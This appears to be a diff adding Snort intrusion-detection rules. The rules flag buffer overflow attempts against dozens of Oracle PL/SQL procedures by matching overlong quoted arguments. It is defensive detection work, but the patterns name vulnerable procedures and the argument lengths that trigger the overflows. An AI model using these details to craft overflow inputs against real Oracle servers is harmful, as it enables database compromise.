+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_aqadm.verify_queue_types_no_queue buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_aqadm.verify_queue_types_no_queue"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*src_queue_name[\r\n\s]*=>[\r\n\s]*\2|src_queue_name\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2693; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.ltutil.pushdeferredtxns buffer overflow attempt"; flow:to_server,established; content:"sys.ltutil.pushdeferredtxns"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{512,}\x27|\x22[^\x22]{512,}\x22)[\r\n\s]*\x3b.*repgrpname[\r\n\s]*=>[\r\n\s]*\2|repgrpname\s*=>\s*(\x27[^\x27]{512,}|\x22[^\x22]{512,})|\(\s*(\x27[^\x27]{512,}|\x22[^\x22]{512,}))/si"; classtype:attempted-user; sid:2684; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE create file buffer overflow attempt"; flow:to_server,established; content:"create"; nocase; pcre:"/CREATE\s.*?FILE\s+((AS|MEMBER|TO)\s+)?(\x27[^\x27]{512}|\x22[^\x22]{512})/smi"; classtype:attempted-user; sid:2698; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE numtoyminterval buffer overflow attempt"; flow:to_server,established; content:"numtoyminterval"; nocase; pcre:"/numtoyminterval\s*\(\s*\d+\s*,\s*(\x27[^\x27]{32}|\x22[^\x22]{32})/smi"; classtype:attempted-user; sid:2700; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna.switch_snapshot_master buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna.switch_snapshot_master"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2915; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.comment_on_site_priority buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.comment_on_site_priority"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2754; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.add_priority_raw buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.add_priority_raw"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2864; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna.drop_snapshot_repobject buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna.drop_snapshot_repobject"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname|type)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname|type)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2907; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_offline_og.begin_load buffer overflow attempt"; flow:to_server,established; content:"dbms_offline_og.begin_load"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2710; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna_utl.register_snapshot_repgroup buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna_utl.register_snapshot_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){4}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2845; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.abort_flavor_definition buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.abort_flavor_definition"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2719; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.add_priority_nvarchar2 buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.add_priority_nvarchar2"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2727; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.suspend_master_activity buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.suspend_master_activity"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2808; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna.refresh_snapshot_repgroup buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna.refresh_snapshot_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2910; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.alter_snapshot_propagation buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.alter_snapshot_propagation"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2745; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.alter_priority_date buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.alter_priority_date"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2736; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.add_priority_char buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.add_priority_char"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2723; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.generate_replication_trigger buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.generate_replication_trigger"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname|gname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname|gname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2853; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.register_mview_repgroup buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.register_mview_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){4}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2796; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_fla.add_object_to_flavor buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_fla.add_object_to_flavor"; nocase; pcre:"/\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2814; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.alter_master_propagation buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.alter_master_propagation"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2733; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.comment_on_site_priority buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.comment_on_site_priority"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2882; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_column_group buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_column_group"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2765; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_fla_mas.drop_columns_from_flavor buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_fla_mas.drop_columns_from_flavor"; nocase; pcre:"/\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2820; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_priority_number buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_priority_number"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2774; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.do_deferred_repcat_admin buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.do_deferred_repcat_admin"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2763; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_mas.drop_master_repgroup buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_mas.drop_master_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2833; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_offline_og.end_instantiation buffer overflow attempt"; flow:to_server,established; content:"dbms_offline_og.end_instantiation"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2712; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.alter_priority_varchar2 buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.alter_priority_varchar2"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2876; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna_utl.unregister_snapshot_repgroup buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna_utl.unregister_snapshot_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2847; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.add_priority_varchar2 buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.add_priority_varchar2"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2865; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_snapshot_repobject buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_snapshot_repobject"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname|type)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname|type)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2782; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_mas.alter_master_repobject buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_mas.alter_master_repobject"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*type[\r\n\s]*=>[\r\n\s]*\2|type\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2827; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.create_master_repobject buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.create_master_repobject"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){5}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2758; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.purge_master_log buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.purge_master_log"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2792; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.drop_priority_raw buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.drop_priority_raw"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2893; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.resume_master_activity buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.resume_master_activity"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2801; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.define_site_priority buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.define_site_priority"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2886; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_offline_snapshot.begin_load buffer overflow attempt"; flow:to_server,established; content:"dbms_offline_snapshot.begin_load"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2715; rev:1;)
